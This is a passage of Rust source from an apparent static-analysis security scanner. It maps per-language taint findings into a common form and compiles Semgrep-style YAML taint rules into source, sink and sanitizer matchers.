sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_js(f: javascript_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_go(f: go_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_java(f: java_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_c(f: c_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_kotlin(f: kotlin_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_ruby(f: ruby_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_php(f: php_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_csharp(f: csharp_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_bash(f: bash_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_solidity(f: solidity_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_scala(f: scala_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_apex(f: apex_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
fn from_swift(f: swift_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
hops: f.hops,
}
}
}
impl Rule for SemgrepTaintRule {
fn id(&self) -> &str {
&self.id
}
fn severity(&self) -> Severity {
self.severity
}
fn cwe(&self) -> Option<&str> {
self.cwe.as_deref()
}
fn description(&self) -> &str {
&self.message
}
fn language(&self) -> Language {
self.lang
}
fn check(&self, source: &str, tree: &tree_sitter::Tree) -> Vec<Finding> {
self.check_with_context(source, tree, &FileContext::default())
}
fn ast_analysis_requirement(&self) -> crate::rules::AstAnalysisRequirement {
crate::rules::AstAnalysisRequirement::FileContext
}
fn check_with_context(
&self,
source: &str,
tree: &tree_sitter::Tree,
ctx: &FileContext<'_>,
) -> Vec<Finding> {
let raw: Vec<TaintFindingView> = match self.lang {
Language::Python => {
let spec = to_python_spec(&self.spec);
python_taint::analyze_tree(tree.root_node(), source, &spec, ctx.python_aliases)
.into_iter()
.map(TaintFindingView::from_python)
.collect()
}
Language::JavaScript => {
let spec = to_js_spec(&self.spec);
javascript_taint::analyze_tree(
tree.root_node(),
source,
&spec,
ctx.javascript_aliases,
)
.into_iter()
.map(TaintFindingView::from_js)
.collect()
}
Language::Go => {
let spec = to_go_spec(&self.spec);
go_taint::analyze_tree(tree.root_node(), source, &spec, ctx.go_aliases)
.into_iter()
.map(TaintFindingView::from_go)
.collect()
}
Language::Java => {
let spec = to_java_spec(&self.spec);
java_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_java)
.collect()
}
Language::C => {
let spec = to_c_spec(&self.spec);
c_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_c)
.collect()
}
Language::Kotlin => {
let spec = to_kotlin_spec(&self.spec);
kotlin_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_kotlin)
.collect()
}
Language::Ruby => {
let spec = to_ruby_spec(&self.spec);
ruby_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_ruby)
.collect()
}
Language::Php => {
let spec = to_php_spec(&self.spec);
php_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_php)
.collect()
}
Language::CSharp => {
let spec = to_csharp_spec(&self.spec);
csharp_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_csharp)
.collect()
}
Language::Bash => {
let spec = to_bash_spec(&self.spec);
bash_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_bash)
.collect()
}
Language::Solidity => {
let spec = to_solidity_spec(&self.spec);
solidity_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_solidity)
.collect()
}
Language::Scala => {
let spec = to_scala_spec(&self.spec);
scala_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_scala)
.collect()
}
Language::Apex => {
let spec = to_apex_spec(&self.spec);
apex_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_apex)
.collect()
}
Language::Swift => {
let spec = to_swift_spec(&self.spec);
swift_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_swift)
.collect()
}
_ => Vec::new(),
};
raw.into_iter()
.map(|t| Finding {
rule_id: self.id.clone(),
severity: self.severity,
cwe: self.cwe.clone(),
description: format!(
"{} — {} reaches {}",
self.message, t.source_description, t.sink_description
),
file: String::new(),
line: t.sink_line,
column: t.sink_column,
end_line: t.sink_end_line,
end_column: t.sink_end_column,
snippet: get_source_line(source, t.sink_start_byte),
source_line: Some(t.source_line),
source_description: Some(t.source_description),
sink_line: Some(t.sink_line),
sink_description: Some(t.sink_description),
fix_suggestion: None,
sink_start_byte: None,
sink_end_byte: None,
confidence: crate::rules::common::confidence_for_hops(t.hops),
taint_hops: Some(t.hops),
tags: vec![],
crypto_algorithm: None,
cnsa2_deadline: None,
dep_name: None,
dep_version: None,
dep_ecosystem: None,
dep_purl: None,
dep_vulnerability_id: None,
dep_fixed_version: None,
dep_source: None,
dep_vulnerability_severity: None,
dep_path: vec![],
})
.collect()
}
}
pub enum TaintRuleParse {
Compiled(SemgrepTaintRule),
Skip(String),
NotTaint,
}
pub fn parse_taint_rule(yaml: &YamlValue) -> TaintRuleParse {
let mode = yaml.get("mode").and_then(YamlValue::as_str);
if mode != Some("taint") {
return TaintRuleParse::NotTaint;
}
let id = match yaml.get("id").and_then(YamlValue::as_str) {
Some(s) => s.to_string(),
None => return TaintRuleParse::Skip("taint rule missing `id`".into()),
};
let lang = match yaml.get("languages").and_then(YamlValue::as_sequence) {
Some(langs) => {
let mut detected: Option<Language> = None;
for s in langs.iter().filter_map(YamlValue::as_str) {
match s.to_lowercase().as_str() {
"python" | "py" => {
detected = Some(Language::Python);
break;
}
"javascript" | "js" | "typescript" | "ts" => {
detected = Some(Language::JavaScript);
break;
}
"go" | "golang" => {
detected = Some(Language::Go);
break;
}
"java" => {
detected = Some(Language::Java);
break;
}
"c" => {
detected = Some(Language::C);
break;
}
"kotlin" | "kt" => {
detected = Some(Language::Kotlin);
break;
}
"ruby" | "rb" => {
detected = Some(Language::Ruby);
break;
}
"php" => {
detected = Some(Language::Php);
break;
}
"csharp" | "cs" | "c#" => {
detected = Some(Language::CSharp);
break;
}
"bash" | "sh" | "shell" => {
detected = Some(Language::Bash);
break;
}
"solidity" | "sol" => {
detected = Some(Language::Solidity);
break;
}
"scala" => {
detected = Some(Language::Scala);
break;
}
"apex" => {
detected = Some(Language::Apex);
break;
}
"swift" => {
detected = Some(Language::Swift);
break;
}
_ => {}
}
}
match detected {
Some(l) => l,
None => {
return TaintRuleParse::Skip(format!(
"taint rule `{}` targets unsupported languages; Python, JavaScript/TypeScript, Go, Java, C, Kotlin, Ruby, PHP, C#, Bash, Solidity, Scala, Apex, and Swift are supported",
id
));
}
}
}
None => return TaintRuleParse::Skip(format!("taint rule `{}` missing `languages`", id)),
};
let message = yaml
.get("message")
.and_then(YamlValue::as_str)
.unwrap_or("")
.to_string();
let severity_str = yaml
.get("severity")
.and_then(YamlValue::as_str)
.unwrap_or("WARNING");
let severity = map_severity(severity_str);
let cwe = extract_cwe(yaml);
let sources =
match compile_matcher_list(yaml.get("pattern-sources"), MatcherRole::Source, &id, lang) {
Ok(v) => v,
Err(e) => return TaintRuleParse::Skip(format!("taint rule `{}` skipped: {}", id, e)),
};
if sources.is_empty() {
return TaintRuleParse::Skip(format!(
"taint rule `{}` has no valid `pattern-sources`",
id
));
}
let sinks = match compile_matcher_list(yaml.get("pattern-sinks"), MatcherRole::Sink, &id, lang)
{
Ok(v) => v,
Err(e) => return TaintRuleParse::Skip(format!("taint rule `{}` skipped: {}", id, e)),
};
if sinks.is_empty() {
return TaintRuleParse::Skip(format!("taint rule `{}` has no valid `pattern-sinks`", id));
}
let sanitizers = match compile_matcher_list(
yaml.get("pattern-sanitizers"),
MatcherRole::Sanitizer,
&id,
lang,
) {
Ok(v) => v,
Err(e) => return TaintRuleParse::Skip(format!("taint rule `{}` skipped: {}", id, e)),
};
TaintRuleParse::Compiled(SemgrepTaintRule {
id: format!("semgrep/{}", id),
message,
severity,
cwe,
lang,
spec: GenericSpec {
sources,
sinks,
sanitizers,
},
})
}
#[derive(Copy, Clone)]
enum MatcherRole {
Source,
Sink,
Sanitizer,
}
impl MatcherRole {
fn label(self) -> &'static str {
match self {
MatcherRole::Source => "pattern-sources",
MatcherRole::Sink => "pattern-sinks",
MatcherRole::Sanitizer => "pattern-sanitizers",
}
}
}
fn compile_matcher_list(
node: Option<&YamlValue>,
role: MatcherRole,
rule_id: &str,
lang: Language,
) -> Result<Vec<GenericMatcher>, String> {
let Some(node) = node else {
return Ok(Vec::new());
};
let Some(entries) = node.as_sequence() else {
return Err(format!("{} must be a list", role.label()));
};
let mut out = Vec::new();
for entry in entries {
compile_entry(entry, role, rule_id, lang, &mut out);
}
Ok(out)
}
fn compile_entry(
entry: &YamlValue,
role: MatcherRole,
rule_id: &str,
lang: Language,
out: &mut Vec<GenericMatcher>,
) {
let Some(map) = entry.as_mapping() else {
eprintln!(
"Warning: taint rule `{}` {} entry is not a mapping; skipping",
rule_id,
role.label()
);
return;
};
let effective_keys: Vec<(&YamlValue, &YamlValue)> = map
.iter()
.filter(|(k, _)| k.as_str() != Some("by-side-effect"))
.collect();
if effective_keys.len() != 1 {
eprintln!(
"Warning: taint rule `{}` {} entry has {} keys (expected a single `pattern:`, `pattern-either:`, or `patterns:`); skipping entry",
rule_id,
role.label(),
effective_keys.len(),
);
return;
}
let (k, v) = effective_keys[0];
match k.as_str() {
Some("pattern") => {
let Some(pattern) = v.as_str() else {
eprintln!(
"Warning: taint rule `{}` {} `pattern:` value must be a string; skipping entry",
rule_id,
role.label()
);
return;
};
match compile_pattern(pattern, role, lang) {
Some(m) => out.push(m),
None => eprintln!(
"Warning: taint rule `{}` {} unsupported pattern shape `{}`; skipping entry",
rule_id,
role.label(),
pattern
),
}
}
Some("pattern-either") => {
let Some(inner) = v.as_sequence() else {
eprintln!(
"Warning: taint rule `{}` {} `pattern-either:` must be a list; skipping",
rule_id,
role.label()
);
return;
};
if inner.is_empty() {
eprintln!(
"Warning: taint rule `{}` {} `pattern-either:` is empty; producing no matchers",
rule_id,
role.label()
);
return;
}
for nested in inner {
compile_entry(nested, role, rule_id, lang, out);
}
}
Some("patterns") => {
if let MatcherRole::Source = role {
if try_compile_param_source_block(v, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if try_compile_focus_call_sink_block(v, role, lang, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if try_compile_regex_constrained_callee_block(v, role, rule_id, out) {
return;
}
}
compile_patterns_block(v, role, rule_id, lang, out);
}
Some(other) => {
eprintln!(
"Warning: taint rule `{}` {} uses unsupported key `{}` (only `pattern:`, `pattern-either:`, and `patterns:` are supported); skipping entry",
rule_id,
role.label(),
other
);
}
None => {
eprintln!(
"Warning: taint rule `{}` {} entry has a non-string key; skipping",
rule_id,
role.label()
);
}
}
}
const PATTERNS_CONSTRAINT_KEYS: &[&str] = &[
"pattern-inside",
"pattern-not-inside",
"pattern-not",
"pattern-not-regex",
"focus-metavariable",
"metavariable-regex",
"metavariable-comparison",
"metavariable-pattern",
"metavariable-analysis",
"metavariable-type",
];
fn compile_patterns_block(
v: &YamlValue,
role: MatcherRole,
rule_id: &str,
lang: Language,
out: &mut Vec<GenericMatcher>,
) {
let Some(inner) = v.as_sequence() else {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` value must be a list; skipping entry",
rule_id,
role.label()
);
return;
};
if inner.is_empty() {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` block is empty; skipping entry",
rule_id,
role.label()
);
return;
}
let before = out.len();
for sub in inner {
let Some(sub_map) = sub.as_mapping() else {
continue;
};
if sub_map.len() != 1 {
continue;
}
let (sk, sv) = sub_map.iter().next().expect("len == 1");
match sk.as_str() {
Some("pattern") | Some("pattern-either") => {
compile_entry(sub, role, rule_id, lang, out);
}
Some(constraint_key) if PATTERNS_CONSTRAINT_KEYS.contains(&constraint_key) => {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` block contains `{}` \
which foxguard cannot enforce inside a taint source/sink entry; \
dropping constraint (matcher will be broader than the original rule)",
rule_id,
role.label(),
constraint_key
);
let _ = sv; }
Some(other) => {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` block contains unknown key `{}`; \
skipping sub-item",
rule_id,
role.label(),
other
);
}
None => {}
}
}
if out.len() == before {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` block produced no expressible matchers; \
skipping entry",
rule_id,
role.label()
);
}
}
fn try_compile_param_source_block(v: &YamlValue, out: &mut Vec<GenericMatcher>) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut seeds: Vec<String> = Vec::new();
let mut signature_texts: Vec<String> = Vec::new();
collect_param_source_parts(items, &mut seeds, &mut signature_texts);
if seeds.is_empty() || signature_texts.is_empty() {
return false;
}
let matched = seeds.iter().any(|seed| {
signature_texts
.iter()
.any(|sig| signature_has_param(sig, seed))
});
if !matched {
return false;
}
out.push(GenericMatcher::ParamName {
names: vec![crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()],
description: "untrusted function parameter".to_string(),
});
true
}
fn collect_param_source_parts(
items: &[YamlValue],
seeds: &mut Vec<String>,
signature_texts: &mut Vec<String>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
seeds.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_metavariable(t) {
seeds.push(t.to_string());
} else if is_function_definition_pattern(t) {
signature_texts.push(t.to_string());
}
}
}
Some("pattern-inside") => {
if let Some(s) = val.as_str() {
if is_function_definition_pattern(s) {
signature_texts.push(s.to_string());
}
}
}
Some("pattern-either") => {
if let Some(seq) = val.as_sequence() {
collect_param_source_parts(seq, seeds, signature_texts);
}
}
Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_param_source_parts(seq, seeds, signature_texts);
}
}
_ => {}
}
}
}
}
fn is_function_definition_pattern(pat: &str) -> bool {
let p = pat.trim();
if !(p.contains('(') && p.contains(')')) {
return false;
}
p.contains("function") || p.contains("func ") || p.starts_with("def ")
|| p.contains("\ndef ") || p.contains("fun ") || p.contains("=>") || (p.contains('{') && p.contains('$'))
}
fn signature_has_param(sig: &str, seed: &str) -> bool {
let Some(open) = sig.find('(') else {
return false;
};
let bytes = sig.as_bytes();
let mut depth = 0i32;
let mut close = None;
for (i, &b) in bytes.iter().enumerate().skip(open) {
match b {
b'(' => depth += 1,
b')' => {
depth -= 1;
if depth == 0 {
close = Some(i);
break;
}
}
_ => {}
}
}
let Some(close) = close else {
return false;
};
let params = &sig[open + 1..close];
params
.split(|c: char| !is_ident_char(c) && c != '$')
.any(|tok| tok == seed)
}
fn try_compile_focus_call_sink_block(
v: &YamlValue,
role: MatcherRole,
lang: Language,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut seeds: Vec<String> = Vec::new();
let mut call_texts: Vec<String> = Vec::new();
let mut metavar_regexes: Vec<(String, String)> = Vec::new();
collect_focus_call_sink_parts(items, &mut seeds, &mut call_texts, &mut metavar_regexes);
if seeds.is_empty() || call_texts.is_empty() {
return false;
}
let before = out.len();
for call in &call_texts {
if !seeds.iter().any(|seed| call_has_arg(call, seed)) {
continue;
}
compile_focus_call_callee(call, role, lang, &metavar_regexes, out);
}
out.len() > before
}
fn collect_focus_call_sink_parts(
items: &[YamlValue],
seeds: &mut Vec<String>,
call_texts: &mut Vec<String>,
metavar_regexes: &mut Vec<(String, String)>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
seeds.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_metavariable(t) {
seeds.push(t.to_string());
} else if is_call_context_pattern(t) {
call_texts.push(t.to_string());
}
}
}
Some("pattern-inside") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_call_context_pattern(t) {
call_texts.push(t.to_string());
}
}
}
Some("metavariable-regex") => {
if let Some(m) = val.as_mapping() {
let mv = m
.get(YamlValue::from("metavariable"))
.and_then(YamlValue::as_str);
let re = m.get(YamlValue::from("regex")).and_then(YamlValue::as_str);
if let (Some(mv), Some(re)) = (mv, re) {
metavar_regexes.push((mv.to_string(), re.to_string()));
}
}
}
Some("pattern-either") | Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_focus_call_sink_parts(seq, seeds, call_texts, metavar_regexes);
}
}
_ => {}
}
}
}
}
fn is_call_context_pattern(pat: &str) -> bool {
let p = pat.trim().trim_end_matches(';').trim();
if p.contains('\n') || p.contains('{') {
return false;
}
let Some(open) = p.find('(') else {
return false;
};
if !p.ends_with(')') {
return false;
}
let callee = p[..open].trim();
if callee.is_empty() {
return false;
}
!callee.contains('(')
&& !callee.contains('=')
&& !callee.contains('+')
&& !callee.contains('%')
&& !callee.contains('[')
}
fn call_has_arg(call: &str, seed: &str) -> bool {
let c = call.trim().trim_end_matches(';').trim();
let Some(open) = c.find('(') else {
return false;
};
let bytes = c.as_bytes();
let mut depth = 0i32;
let mut close = None;
for (i, &b) in bytes.iter().enumerate().skip(open) {
match b {
b'(' => depth += 1,
b')' => {
depth -= 1;
if depth == 0 {
close = Some(i);
break;
}
}
_ => {}
}
}
let Some(close) = close else {
return false;
};
let args = c[open + 1..close].trim();
let literal = args
.split(|ch: char| !is_ident_char(ch) && ch != '$')
.any(|tok| tok == seed);
if literal {
return true;
}
args == "..." || args.is_empty() || is_metavariable(args)
}
fn compile_focus_call_callee(
call: &str,
role: MatcherRole,
lang: Language,
metavar_regexes: &[(String, String)],
out: &mut Vec<GenericMatcher>,
) {
let c = call.trim().trim_end_matches(';').trim();
let Some(open) = c.find('(') else {
return;
};
let callee = c[..open].trim();
if let Some(dot) = callee.find('.') {
let recv = &callee[..dot];
let meth = &callee[dot + 1..];
if is_metavariable(recv) && is_metavariable(meth) && !meth.contains('.') {
if let Some(names) = regex_alternatives_for(meth, metavar_regexes) {
for name in names {
out.push(GenericMatcher::MethodName {
method: name.clone(),
description: describe(&name, role),
});
}
}
return;
}
if is_metavariable(recv) && is_identifier(meth) {
out.push(GenericMatcher::MethodName {
method: meth.to_string(),
description: describe(meth, role),
});
return;
}
}
if is_metavariable(callee) {
if let Some(names) = regex_alternatives_for(callee, metavar_regexes) {
for name in names {
out.push(GenericMatcher::Call {
canonical: name.clone(),
description: describe(&name, role),
});
}
}
return;
}
if let Some(m) = compile_pattern(c, role, lang) {
if matches!(
m,
GenericMatcher::Call { .. } | GenericMatcher::MethodName { .. }
) {
out.push(m);
}
}
}
fn regex_alternatives_for(mv: &str, metavar_regexes: &[(String, String)]) -> Option<Vec<String>> {
let (_, re) = metavar_regexes.iter().find(|(m, _)| m == mv)?;
parse_anchored_alternation(re)
}
fn parse_anchored_alternation(re: &str) -> Option<Vec<String>> {
let mut body = re.trim();
body = body.strip_prefix('^').unwrap_or(body);
body = body.strip_suffix('$').unwrap_or(body);
body = body.strip_prefix("\\b").unwrap_or(body);
body = body.strip_suffix("\\b").unwrap_or(body);
if body.starts_with('(') && body.ends_with(')') {
body = &body[1..body.len() - 1];
}
if body.is_empty() {
return None;
}
let names: Vec<String> = body.split('|').map(|s| s.trim().to_string()).collect();
if names.iter().all(|n| is_identifier(n)) {
Some(names)
} else {
None
}
}
enum BareCallee {
Callee(String),
Method(String),
}
fn bare_metavar_callee(pat: &str) -> Option<BareCallee> {
let c = pat.trim().trim_end_matches(';').trim();
let open = c.find('(')?;
let callee = c[..open].trim();
if let Some(dot) = callee.find('.') {
let recv = &callee[..dot];
let meth = &callee[dot + 1..];
if is_metavariable(recv) && is_metavariable(meth) && !meth.contains('.') {
return Some(BareCallee::Method(meth.to_string()));
}
return None;
}
if is_metavariable(callee) {
return Some(BareCallee::Callee(callee.to_string()));
}
None
}
fn collect_regex_callee_parts(
items: &[YamlValue],
callees: &mut Vec<BareCallee>,
pins: &mut Vec<(String, String)>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (key, val) in map {
match key.as_str() {
Some("pattern") => {
if let Some(text) = val.as_str() {
if let Some(bc) = bare_metavar_callee(text) {
callees.push(bc);
}
}
}
Some("metavariable-regex") => {
if let Some(mm) = val.as_mapping() {
let mv = mm
.get(YamlValue::from("metavariable"))
.and_then(|x| x.as_str());
let re = mm.get(YamlValue::from("regex")).and_then(|x| x.as_str());
if let (Some(mv), Some(re)) = (mv, re) {
pins.push((mv.to_string(), re.to_string()));
}
}
}
Some("pattern-either") => {
if let Some(seq) = val.as_sequence() {
collect_regex_callee_parts(seq, callees, pins);
}
}
_ => {}
}
}
}
}
fn try_compile_regex_constrained_callee_block(
v: &YamlValue,
role: MatcherRole,
rule_id: &str,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut callees: Vec<BareCallee> = Vec::new();
let mut pins: Vec<(String, String)> = Vec::new();
collect_regex_callee_parts(items, &mut callees, &mut pins);
if callees.is_empty() || pins.is_empty() {
return false;
}
let before = out.len();
for callee in &callees {
let (mv, is_method) = match callee {
BareCallee::Callee(mv) => (mv, false),
BareCallee::Method(mv) => (mv, true),
};
let Some((_, re)) = pins.iter().find(|(m, _)| m == mv) else {
continue;
};
let regex = match crate::rules::semgrep_compat::compile_regex(re) {
Ok(r) => r,
Err(e) => {
eprintln!(
"Warning: taint rule `{}` {} `metavariable-regex` for `{}` is not a valid \
regex ({}); refusing the bare-metavariable callee (FP-safe)",
rule_id,
role.label(),
mv,
e
);
continue;
}
};
let description = describe(re, role);
if is_method {
out.push(GenericMatcher::MethodNameRegex { regex, description });
} else {
out.push(GenericMatcher::CallRegex { regex, description });
}
}
out.len() > before
}
fn compile_bash_pattern(pat: &str, role: MatcherRole) -> Option<GenericMatcher> {
let rhs = match pat.split_once('=') {
Some((lhs, rhs)) if lhs.trim_start_matches('$').chars().all(is_ident_char) => rhs.trim(),
_ => pat,
};
let inner = if let Some(stripped) = rhs.strip_prefix("$(") {
stripped.strip_suffix(')').unwrap_or(stripped).trim()
} else if let Some(stripped) = rhs.strip_prefix('`') {
stripped.strip_suffix('`').unwrap_or(stripped).trim()
} else {
rhs
};
let cmd = match role {
MatcherRole::Source => {
if let Some((_, after_pipe)) = inner.rsplit_once('|') {
first_token(after_pipe)
} else {
first_token(inner)
}
}
MatcherRole::Sink | MatcherRole::Sanitizer => first_token(inner),
}?;
if cmd.is_empty() || !cmd.chars().all(is_ident_char) {
return None;
}
Some(GenericMatcher::Call {
canonical: cmd.to_string(),
description: describe(cmd, role),
})
}
fn first_token(s: &str) -> Option<&str> {
s.trim().trim_start_matches('(').split_whitespace().next()
}
fn is_ident_char(c: char) -> bool {
c.is_ascii_alphanumeric() || c == '_' || c == '-'
}
fn is_function_signature_source(pat: &str) -> bool {
let pat = pat.trim();
let starts_fn = pat.starts_with("function ") || pat.starts_with("def ");
if !starts_fn {
return false;
}
pat.contains('(') && pat.contains('$')
}
fn is_swift_string_construction_source(pat: &str) -> bool {
let p = pat.trim();
if p.starts_with('"') && p.contains("\\(") && p.contains('$') {
return true;
}
if let Some(eq) = find_single_assignment(p) {
let rhs = p[eq + 1..].trim();
if rhs.contains('+') && rhs.contains('"') && rhs.contains('$') {
return true;
}
}
false
}
fn parse_apex_chained_call_source(pat: &str) -> Option<String> {
let p = pat.trim();
if !p.ends_with(')') {
return None;
}
let open = p.find('(')?;
let last_call_open = p.rfind('(')?;
let callee_chain = p[..last_call_open].trim();
let method = callee_chain.rsplit('.').next()?;
if method.is_empty()
|| !method
.chars()
.all(|c| c.is_ascii_alphanumeric() || c == '_')
{
return None;
}
let root_end = callee_chain.find(['.', '(']).unwrap_or(callee_chain.len());
let root = callee_chain[..root_end].trim();
if root.is_empty() || !root.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') {
return None;
}
let has_inner_call = open < last_call_open;
if !has_inner_call {
return None;
}
let args = &p[last_call_open + 1..p.len() - 1];
if !args.contains('$') {
return None;
}
Some(format!("{root}.{method}"))
}
fn compile_pattern(pattern: &str, role: MatcherRole, lang: Language) -> Option<GenericMatcher> {
let mut pat = pattern.trim();
if pat.is_empty() {
return None;
}
if matches!(lang, Language::Solidity | Language::Apex) {
pat = pat.trim_end_matches(';').trim_end();
}
if lang == Language::Swift {
if let MatcherRole::Source = role {
if is_swift_string_construction_source(pat) {
return Some(GenericMatcher::ParamName {
names: vec![swift_taint::STRING_CONSTRUCTION_SENTINEL.to_string()],
description: "dynamically constructed string".to_string(),
});
}
}
}
if lang == Language::Apex {
if let MatcherRole::Source = role {
if let Some(canonical) = parse_apex_chained_call_source(pat) {
return Some(GenericMatcher::Call {
description: format!("untrusted `{canonical}` request input"),
canonical,
});
}
}
}
if lang == Language::Bash {
if let Some(m) = compile_bash_pattern(pat, role) {
return Some(m);
}
}
if matches!(lang, Language::Solidity | Language::Scala) {
if let MatcherRole::Source = role {
if is_function_signature_source(pat) {
return Some(GenericMatcher::ParamName {
names: vec!["$PARAM".to_string()],
description: "untrusted function parameter".to_string(),
});
}
}
}
if is_object_literal_value_pattern(pat) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => {
Some(GenericMatcher::ObjectLiteralValue {
description: describe(pat, role),
})
}
MatcherRole::Source => None,
};
}
if let Some(()) = parse_return_metavar(pat) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::ReturnValue {
description: describe(pat, role),
}),
MatcherRole::Source => None,
};
}
if is_binop_format_pattern(pat) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::BinopFormat {
description: describe(pat, role),
}),
MatcherRole::Source => None,
};
}
if let Some(base) = parse_subscript_base(pat) {
let desc = match &base {
Some(b) => describe(b, role),
None => describe(pat, role),
};
return Some(GenericMatcher::Subscript {
base,
description: desc,
});
}
if let Some(field) = parse_member_assign_pattern(pat) {
return match role {
